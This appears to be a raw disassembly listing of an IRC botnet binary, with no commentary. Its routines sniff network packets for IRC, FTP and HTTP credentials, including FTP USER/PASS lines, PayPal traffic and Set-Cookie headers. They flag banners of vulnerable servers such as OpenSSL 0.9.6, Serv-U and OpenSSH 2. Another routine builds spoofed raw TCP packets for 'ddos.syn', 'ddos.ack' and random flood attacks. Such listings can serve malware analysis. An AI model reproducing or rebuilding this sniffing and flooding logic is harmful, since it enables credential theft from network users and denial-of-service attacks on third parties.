		retn
sub_412E9B	endp


; =============== S U B	R O U T	I N E =======================================



sub_412EAA	proc near		; CODE XREF: sub_4131AA+2BFp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aBotSniff ; "Bot	sniff"
		push	esi
		call	sub_41C080
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412EC4


loc_412EC0:				; CODE XREF: sub_412EAA+29j
					; sub_412EAA+3Aj ...
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412EC4:				; CODE XREF: sub_412EAA+14j
		push	offset dword_4290D4
		push	esi
		call	sub_41C080
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412EC0
		push	offset aPsniff_1 ; "[PSNIFF]:"
		push	esi
		call	sub_41C080
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412EC0
		push	offset aPsniff_0 ; "PSNIFF//"
		push	esi
		call	sub_41C080
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412EC0
		push	offset aJoin_0	; "JOIN	#"
		push	esi
		call	sub_41C080
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412F0C


loc_412F08:				; CODE XREF: sub_412EAA+71j
					; sub_412EAA+82j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412F0C:				; CODE XREF: sub_412EAA+5Cj
		push	offset a302_0	; "302 "
		push	esi
		call	sub_41C080
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F08
		push	offset a366	; "366 "
		push	esi
		call	sub_41C080
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F08
		push	offset a_login_0 ; ":.login"
		push	esi
		call	sub_41C080
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F08
		push	offset aLogin_1	; ":!login"
		push	esi
		call	sub_41C080
		pop	ecx
		test	eax, eax
		pop	ecx


loc_412F4E:				; DATA XREF: ___:off_43A508o
		jnz	short loc_412F08
		push	offset aLogin_0	; ":!Login"
		push	esi
		call	sub_41C080
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F08
		push	offset a_login	; ":.Login"
		push	esi
		call	sub_41C080
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F08
		push	offset a_ident	; ":.ident"
		push	esi
		call	sub_41C080
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F08
		push	offset aIdent_0	; ":!ident"
		push	esi
		call	sub_41C080
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_412F08
		push	offset a_hashin	; ":.hashin"
		push	esi
		call	sub_41C080
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_412F08
		push	offset aHashin	; ":!hashin"
		push	esi
		call	sub_41C080
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412EAA	endp


; =============== S U B	R O U T	I N E =======================================



sub_412FC1	proc near		; CODE XREF: sub_4131AA+2F8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aIrcSniff ; "IRC	sniff"
		push	esi
		call	sub_41C080
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412FDB


loc_412FD7:				; CODE XREF: sub_412FC1+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412FDB:				; CODE XREF: sub_412FC1+14j
		push	offset dword_4290D4
		push	esi
		call	sub_41C080
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412FD7
		push	offset aOper_0	; "OPER	"
		push	esi
		call	sub_41C080
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_413001


loc_412FFD:				; CODE XREF: sub_412FC1+4Fj
					; sub_412FC1+60j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_413001:				; CODE XREF: sub_412FC1+3Aj
		push	offset aNick_1	; "NICK	"
		push	esi
		call	sub_41C080
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412FFD
		push	offset aOper	; "oper	"
		push	esi
		call	sub_41C080
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412FFD
		push	offset aYouAreNowAnIrc ; "You are now an IRC Operator"
		push	esi
		call	sub_41C080
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412FC1	endp


; =============== S U B	R O U T	I N E =======================================



sub_413037	proc near		; CODE XREF: sub_4131AA+32Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aFtpSniff ; "FTP	sniff"
		push	esi
		call	sub_41C080
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_413051


loc_41304D:				; CODE XREF: sub_413037+29j
					; sub_413037+3Aj
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_413051:				; CODE XREF: sub_413037+14j
		push	offset dword_4290D4
		push	esi
		call	sub_41C080
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41304D
		push	offset aNick_1	; "NICK	"
		push	esi
		call	sub_41C080
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41304D
		push	offset a220	; "220 "
		push	esi
		call	sub_41C080
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_413088


loc_413084:				; CODE XREF: sub_413037+60j
					; sub_413037+71j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_413088:				; CODE XREF: sub_413037+4Bj
		push	offset a230	; "230 "
		push	esi
		call	sub_41C080
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_413084
		push	offset aUser_3	; "USER	"
		push	esi
		call	sub_41C080
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_413084
		push	offset aPass_1	; "PASS	"
		push	esi
		call	sub_41C080
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_413037	endp


; =============== S U B	R O U T	I N E =======================================



sub_4130BE	proc near		; CODE XREF: sub_4131AA+35Fp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aHttpSniff ; "HTTP sniff"
		push	esi
		call	sub_41C080
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4130D8


loc_4130D4:				; CODE XREF: sub_4130BE+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4130D8:				; CODE XREF: sub_4130BE+14j
		push	offset dword_4290D4
		push	esi
		call	sub_41C080
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4130D4
		push	offset aPaypal	; "paypal"
		push	esi
		call	sub_41C080
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4130FE


loc_4130FA:				; CODE XREF: sub_4130BE+4Fj
					; sub_4130BE+60j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4130FE:				; CODE XREF: sub_4130BE+3Aj
		push	offset aPaypal_0 ; "PAYPAL"
		push	esi
		call	sub_41C080
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4130FA
		push	offset aPaypal_com_0 ; "PAYPAL.COM"
		push	esi
		call	sub_41C080
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4130FA
		push	offset aPaypal_com ; "paypal.com"
		push	esi
		call	sub_41C080
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4130FA
		push	offset aSetCookie ; "Set-Cookie:"
		push	esi
		call	sub_41C080
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_4130BE	endp


; =============== S U B	R O U T	I N E =======================================



sub_413145	proc near		; CODE XREF: sub_4131AA:loc_41356Fp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aVulnSniff ; "VULN sniff"
		push	esi
		call	sub_41C080
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41315F


loc_41315B:				; CODE XREF: sub_413145+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41315F:				; CODE XREF: sub_413145+14j
		push	offset dword_4290D4
		push	esi
		call	sub_41C080
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41315B
		push	offset aOpenssl0_9_6 ; "OpenSSL/0.9.6"
		push	esi
		call	sub_41C080
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_413185


loc_413181:				; CODE XREF: sub_413145+4Fj
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_413185:				; CODE XREF: sub_413145+3Aj
		push	offset aServUFtpServer ; "Serv-U FTP Server"
		push	esi
		call	sub_41C080
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_413181
		push	offset aOpenssh_2 ; "OpenSSH_2"
		push	esi
		call	sub_41C080
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_413145	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4131AA	proc near		; DATA XREF: sub_401AC7+429Eo

var_113B8	= byte ptr -113B8h
var_113AF	= byte ptr -113AFh
var_113AC	= dword	ptr -113ACh
var_113A8	= dword	ptr -113A8h
var_113A4	= dword	ptr -113A4h
var_1138C	= byte ptr -1138Ch
var_13B8	= byte ptr -13B8h
var_BB8		= byte ptr -0BB8h
var_3B8		= byte ptr -3B8h
var_3B7		= byte ptr -3B7h
var_2B8		= byte ptr -2B8h
var_B8		= dword	ptr -0B8h
var_B4		= byte ptr -0B4h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 113B8h
		call	sub_41C2A0
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	25h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_B8]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		lea	edi, [ebp+var_3B7]
		push	3Fh
		mov	[eax+90h], esi
		pop	ecx
		xor	eax, eax
		mov	[ebp+var_3B8], bl
		push	0FFh
		rep stosd
		stosw
		lea	eax, [ebp+var_3B8]
		mov	[ebp+var_20], 2
		push	eax
		mov	[ebp+var_1E], bx
		mov	[ebp+var_1C], ebx
		call	dword_4C9318
		lea	eax, [ebp+var_3B8]
		push	eax
		call	dword_4C9388
		movsx	ecx, word ptr [eax+0Ah]
		mov	eax, [eax+0Ch]
		push	ecx
		push	dword ptr [eax]
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_41CAB0
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		mov	[ebp+var_1C], eax
		push	ebx
		push	3
		push	2
		call	dword_4C9384
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_10], edi
		jnz	short loc_413250
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_413250:				; CODE XREF: sub_4131AA+9Bj
		lea	eax, [ebp+var_20]
		push	10h
		push	eax
		push	edi
		call	dword_4C9330
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4132C6
		call	dword_4C9298
		push	eax
		lea	eax, [ebp+var_2B8]
		push	offset unk_437098
		push	eax
		call	sub_41C006
		add	esp, 0Ch
		cmp	[ebp+var_2C], ebx
		jnz	short loc_4132A2
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409862
		add	esp, 14h


loc_4132A2:				; CODE XREF: sub_4131AA+D6j
		lea	eax, [ebp+var_2B8]
		push	eax
		call	sub_415CEE
		pop	ecx
		push	edi
		call	dword_4C939C
		push	[ebp+var_34]
		call	sub_40B6C9
		pop	ecx
		push	ebx
		call	near ptr 26E0000h
		nop


loc_4132C6:				; CODE XREF: sub_4131AA+B6j
		push	ebx
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C]
		push	4
		push	eax
		push	98000001h
		push	edi
		mov	[ebp+var_C], esi
		call	dword_4C92B0
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41334C
		call	dword_4C9298
		push	eax
		lea	eax, [ebp+var_2B8]
		push	offset unk_437068
		push	eax
		call	sub_41C006
		add	esp, 0Ch
		cmp	[ebp+var_2C], ebx
		jnz	short loc_413328
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409862
		add	esp, 14h


loc_413328:				; CODE XREF: sub_4131AA+15Cj
		lea	eax, [ebp+var_2B8]
		push	eax
		call	sub_415CEE
		pop	ecx
		push	edi
		call	dword_4C939C
		push	[ebp+var_34]
		call	sub_40B6C9
		pop	ecx
		push	ebx
		nop
		call	near ptr 26E0000h


loc_41334C:				; CODE XREF: sub_4131AA+13Cj
		mov	esi, 200h


loc_413351:				; CODE XREF: sub_4131AA+1D6j
					; sub_4131AA+1FBj ...
		mov	edi, 0FFFFh
		lea	eax, [ebp+var_113B8]
		push	edi
		push	ebx
		push	eax
		call	sub_41BD10
		add	esp, 0Ch
		lea	eax, [ebp+var_113B8]
		push	ebx
		push	edi
		push	eax
		push	[ebp+var_10]
		call	dword_4C931C
		cmp	[ebp+var_113AF], 6
		jnz	short loc_413351
		push	[ebp+var_113A4]
		mov	edi, dword_4271E4
		call	edi	; htons
		push	[ebp+var_113A4+2]
		movzx	eax, ax
		mov	[ebp+arg_0], eax
		call	edi	; htons
		cmp	[ebp+arg_0], 6Eh
		movzx	edi, ax
		jz	short loc_413351
		cmp	[ebp+arg_0], 19h
		jz	short loc_413351
		cmp	edi, 6Eh
		jz	short loc_413351
		cmp	edi, 19h
		jz	short loc_413351
		push	[ebp+var_113AC]
		call	sub_412E9B
		pop	ecx
		push	dword ptr [eax]
		nop
		call	near ptr 71AB401Ch
		push	eax
		lea	eax, [ebp+var_13B8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41C006
		push	[ebp+var_113A8]
		call	sub_412E9B
		add	esp, 10h
		push	dword ptr [eax]
		nop
		call	near ptr 71AB401Ch
		push	eax
		lea	eax, [ebp+var_BB8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_1138C]
		mov	[ebp+var_4], ebx
		push	eax
		call	sub_41B960
		add	esp, 10h
		test	eax, eax
		jle	short loc_41344F


loc_41341B:				; CODE XREF: sub_4131AA+2A3j
		mov	eax, [ebp+var_4]
		cmp	[ebp+eax+var_1138C], 0Dh
		lea	eax, [ebp+eax+var_1138C]
		jnz	short loc_413432
		mov	byte ptr [eax],	20h


loc_413432:				; CODE XREF: sub_4131AA+283j
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41343A
		mov	byte ptr [eax],	20h


loc_41343A:				; CODE XREF: sub_4131AA+28Bj
		inc	[ebp+var_4]
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_41B960
		cmp	[ebp+var_4], eax
		pop	ecx
		jl	short loc_41341B


loc_41344F:				; CODE XREF: sub_4131AA+26Fj
		cmp	[ebp+arg_0], 50h
		jz	loc_413502
		cmp	edi, 50h
		jz	loc_413502
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_412EAA
		test	al, al
		pop	ecx
		jz	short loc_413496
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_437034
		jmp	loc_413531
; ---------------------------------------------------------------------------


loc_413496:				; CODE XREF: sub_4131AA+2C7j
		cmp	edi, 50h
		jz	short loc_413502
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_412FC1
		test	al, al
		pop	ecx
		jz	short loc_4134CC
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_437000
		jmp	short loc_413531
; ---------------------------------------------------------------------------


loc_4134CC:				; CODE XREF: sub_4131AA+300j
		cmp	edi, 50h
		jz	short loc_413502
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_413037
		test	al, al
		pop	ecx
		jz	short loc_413502
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_436FCC
		jmp	short loc_413531
; ---------------------------------------------------------------------------


loc_413502:				; CODE XREF: sub_4131AA+2A9j
					; sub_4131AA+2B2j ...
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_4130BE
		test	al, al
		pop	ecx
		lea	eax, [ebp+var_1138C]
		push	eax
		jz	short loc_41356F
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		lea	eax, [ebp+var_13B8]
		push	[ebp+arg_0]
		push	eax
		push	offset unk_436F94


loc_413531:				; CODE XREF: sub_4131AA+2E7j
					; sub_4131AA+320j ...
		lea	eax, [ebp+var_2B8]
		push	esi
		push	eax
		call	sub_41C100
		add	esp, 20h
		cmp	[ebp+var_2C], ebx
		jnz	loc_413351
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409862
		add	esp, 14h
		jmp	loc_413351
; ---------------------------------------------------------------------------


loc_41356F:				; CODE XREF: sub_4131AA+36Ej
		call	sub_413145
		test	al, al
		pop	ecx
		jz	loc_413351
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_436F5C
		jmp	short loc_413531
sub_4131AA	endp

; ---------------------------------------------------------------------------
byte_41359D	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401AC7+64A2o
		dd 494EC81h, 458B0000h,	0B9575608h, 0A5h, 0BD8DF08Bh, 0FFFFFD6Ch
		dd 80C7A5F3h, 290h, 1, 0D297E890h, 0E8500227h, 8A88h, 0FE74858Dh
		dd 8D50FFFFh, 0FFFF7485h, 858D50FFh, 0FFFFFDF4h, 74858D50h
		dd 50FFFFFDh, 395E8h, 858D5000h, 0FFFFFB6Ch, 4370C468h
		dd 3E85000h, 3300008Ah,	20C483F6h, 75F87539h, 858D5620h
		dd 0FFFFFB6Ch, 50F475FFh, 0FEF4858Dh, 0FF50FFFFh, 0FFFD6CB5h
		dd 6238E8FFh, 0C483FFFFh, 6C858D14h, 50FFFFFBh,	26B5E8h
		dd 70B5FF00h, 0E8FFFFFDh, 0FFFF8085h, 0E8565959h, 22CC9B4h
		db 90h
; ---------------------------------------------------------------------------
		pop	edi
		pop	esi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41364F	proc near		; CODE XREF: ___:004139C6p

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= word ptr -58h
var_56		= word ptr -56h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_32		= word ptr -32h
var_30		= word ptr -30h
var_2E		= word ptr -2Eh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_2A		= word ptr -2Ah
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_4C9274
		test	eax, eax
		jz	short loc_41368F
		xor	eax, eax
		jmp	loc_413982
; ---------------------------------------------------------------------------


loc_41368F:				; CODE XREF: sub_41364F+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_4C93A8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_20], eax
		jz	loc_41397A
		push	esi
		lea	ecx, [ebp+var_40]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_40], edi
		call	dword_4C92E4
		cmp	eax, 0FFFFFFFFh
		jz	loc_413970
		push	[ebp+arg_C]
		mov	[ebp+var_58], 2
		call	dword_4C9304
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_56], ax
		mov	[ebp+var_54], esi
		mov	[ebp+var_34], 45h
		call	dword_4C9304
		push	[ebp+arg_C]
		mov	[ebp+var_32], ax
		mov	[ebp+var_30], di
		mov	[ebp+var_2E], bx
		mov	[ebp+var_2C], 80h
		mov	[ebp+var_2B], 6
		mov	[ebp+var_2A], bx
		mov	[ebp+var_24], esi
		call	dword_4C9304
		mov	[ebp+var_12], ax
		call	sub_41C062
		movzx	eax, ax
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_4C9304
		push	12345678h
		mov	[ebp+var_14], ax
		call	dword_4C9300
		push	offset aDdos_syn ; "ddos.syn"
		mov	[ebp+var_10], eax
		push	[ebp+arg_8]
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41375F
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 2
		jmp	short loc_4137B3
; ---------------------------------------------------------------------------


loc_41375F:				; CODE XREF: sub_41364F+105j
		push	offset aDdos_ack ; "ddos.ack"
		push	[ebp+arg_8]
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41377B
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 10h
		jmp	short loc_4137B3
; ---------------------------------------------------------------------------


loc_41377B:				; CODE XREF: sub_41364F+121j
		push	offset aDdos_random ; "ddos.random"
		push	[ebp+arg_8]
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4137B3
		call	sub_41C062
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_C], edx
		call	sub_41C062
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_7], dl


loc_4137B3:				; CODE XREF: sub_41364F+10Ej
					; sub_41364F+12Aj ...
		push	4000h
		mov	[ebp+var_8], 50h
		call	dword_4C9304
		mov	[ebp+var_6], ax
		lea	eax, [ebp+var_48]
		push	eax
		mov	[ebp+var_2], bx
		mov	[ebp+arg_8], ebx
		call	near ptr 27904B1h
		nop
		lea	eax, [ebp+var_1C]
		push	eax
		nop
		call	near ptr 27900E8h
		push	[ebp+var_44]
		mov	eax, [ebp+arg_10]
		cdq
		push	[ebp+var_48]
		push	edx
		push	eax
		call	sub_41DA20
		add	eax, [ebp+var_1C]
		push	14h
		pop	esi
		adc	edx, [ebp+var_18]
		mov	[ebp+var_3C], eax
		mov	[ebp+var_38], edx


loc_413801:				; CODE XREF: sub_41364F+2E2j
					; sub_41364F+2F0j
		mov	[ebp+var_4], bx
		call	sub_41C062
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_4C9304
		mov	[ebp+var_14], ax
		call	sub_41C062
		mov	edi, eax
		shl	edi, 10h
		call	sub_41C062
		or	edi, eax
		push	edi
		call	dword_4C9304
		movzx	eax, ax
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_4C9300
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_24]
		push	esi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_4C9304
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_28]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41CAB0
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41CAB0
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AA53
		mov	[ebp+var_4], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41CAB0
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41CAB0
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_41BD10
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AA53
		mov	[ebp+var_2A], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41CAB0
		add	esp, 14h
		lea	eax, [ebp+var_58]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_20]
		call	dword_4C9368
		cmp	eax, 0FFFFFFFFh
		jz	short loc_413944
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_1C]
		push	eax
		nop
		call	near ptr 27900E8h
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+var_38]
		jg	short loc_41396D
		jl	loc_413801
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_3C]
		jnb	short loc_41396D
		jmp	loc_413801
; ---------------------------------------------------------------------------


loc_413944:				; CODE XREF: sub_41364F+2CBj
		call	dword_4C9298
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_4370EC
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_415CEE
		add	esp, 10h
		jmp	short loc_413970
; ---------------------------------------------------------------------------


loc_41396D:				; CODE XREF: sub_41364F+2E0j
					; sub_41364F+2EEj
		mov	ebx, [ebp+arg_8]


loc_413970:				; CODE XREF: sub_41364F+78j
					; sub_41364F+31Cj
		push	[ebp+var_20]
		call	dword_4C939C
		pop	esi


loc_41397A:				; CODE XREF: sub_41364F+5Bj
		call	dword_4C925C
		mov	eax, ebx


loc_413982:				; CODE XREF: sub_41364F+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_41364F	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40A8E4
		push	dword ptr [esp+18h]
		mov	esi, eax
		call	sub_41BEF9
		push	dword ptr [esp+24h]
		mov	ebx, eax
		call	sub_41BEF9
		mov	edi, eax
		call	sub_41C062
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		push	dword ptr [esp+2Ch]
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_41364F
		add	esp, 20h
		test	eax, eax
		jnz	short loc_4139D5
		push	1
		pop	eax


loc_4139D5:				; CODE XREF: ___:004139D0j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
dword_4139E4	dd 81EC8B55h, 3BCECh, 8B565300h, 6A570845h, 59F08B68h
					; DATA XREF: sub_401AC7+667Bo
		dd 0FE44BD8Dh, 16AFFFFh, 0FF685Bh, 36A0000h, 26AA5F3h
		dd 19C9889h, 15FF0000h,	4C9384h, 89FFF883h, 5F75FC45h
		dd 929815FFh, 8D50004Ch, 0FFFC4485h, 71EC68FFh,	0E8500043h
		dd 85CEh, 0C483FF33h, 0DC7D390Ch, 8D572075h, 0FFFC4485h
		dd 0D875FFFFh, 48858D50h, 50FFFFFFh, 0FE44B5FFh, 3E8FFFFh
		dd 83FFFF5Eh, 858D14C4h, 0FFFFFC44h, 2280E850h,	75FF0000h
		dd 7C53E8C8h, 5959FFFFh, 81E89057h, 8D022CC5h, 46AF44Dh
		dd 6AFF3351h, 89505702h, 15FFF45Dh, 4C92E4h, 75FFF883h
		dd 9815FF5Dh, 50004C92h, 0FC44858Dh, 0BC68FFFFh, 50004371h
		dd 8555E8h, 0CC48300h, 75DC7D39h, 858D5720h, 0FFFFFC44h
		dd 50D875FFh, 0FF48858Dh, 0FF50FFFFh, 0FFFE44B5h, 5D8CE8FFh
